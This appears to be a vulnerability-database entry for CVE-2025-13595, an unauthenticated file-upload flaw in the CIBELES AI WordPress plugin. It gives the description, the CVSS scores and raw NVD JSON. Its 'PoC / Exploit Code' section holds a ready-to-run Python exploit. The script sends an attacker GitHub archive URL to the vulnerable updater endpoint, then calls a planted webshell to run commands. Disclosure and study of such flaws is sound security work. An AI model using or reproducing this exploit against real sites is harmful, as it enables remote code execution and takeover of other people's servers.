Security Vulnerability Report
中文
CVE-2025-13595 CVSS 9.8 CRITICAL

CVE-2025-13595

Published: 2025-11-25 23:15:46
Last Modified: 2026-04-15 00:35:42

Description

The CIBELES AI plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check in the 'actualizador_git.php' file in all versions up to, and including, 1.10.8. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CIBELES AI plugin for WordPress <= 1.10.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # CVE-2025-13595 PoC - WordPress CIBELES AI Plugin Arbitrary File Upload # Target: WordPress site with CIBELES AI plugin <= 1.10.8 target_url = "http://target-wordpress-site.com" # Replace with your malicious GitHub repository containing PHP webshell git_repo_url = "https://github.com/attacker/malicious-repo/archive/refs/heads/main.zip" # Path to vulnerable endpoint vulnerable_endpoint = f"{target_url}/wp-content/plugins/cibeles-ai/actualizador_git.php" # Construct the malicious request payload = { "git_url": git_repo_url } print("[*] Sending exploit request...") try: response = requests.post(vulnerable_endpoint, data=payload, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # If successful, try to access the uploaded webshell if response.status_code == 200: webshell_url = f"{target_url}/wp-content/plugins/cibeles-ai/malicious.php" print(f"[*] Attempting to access webshell: {webshell_url}") shell_test = requests.get(webshell_url, params={"cmd": "whoami"}, timeout=10) if shell_test.status_code == 200: print("[+] Remote Code Execution Successful!") print(f"[+] Output: {shell_test.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13595", "sourceIdentifier": "[email protected]", "published": "2025-11-25T23:15:46.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CIBELES AI plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check in the 'actualizador_git.php' file in all versions up to, and including, 1.10.8. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/d0n601/CVE-2025-13595", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cibeles-ai/trunk/actualizador_git.php#L1", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3402311/cibeles-ai", "source": "[email protected]"}, {"url": "https://ryankozak.com/posts/cve-2025-13595/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b3e89a1c-7606-4391-a389-fa18d0967046?source=cve", "source": "[email protected]"}]}}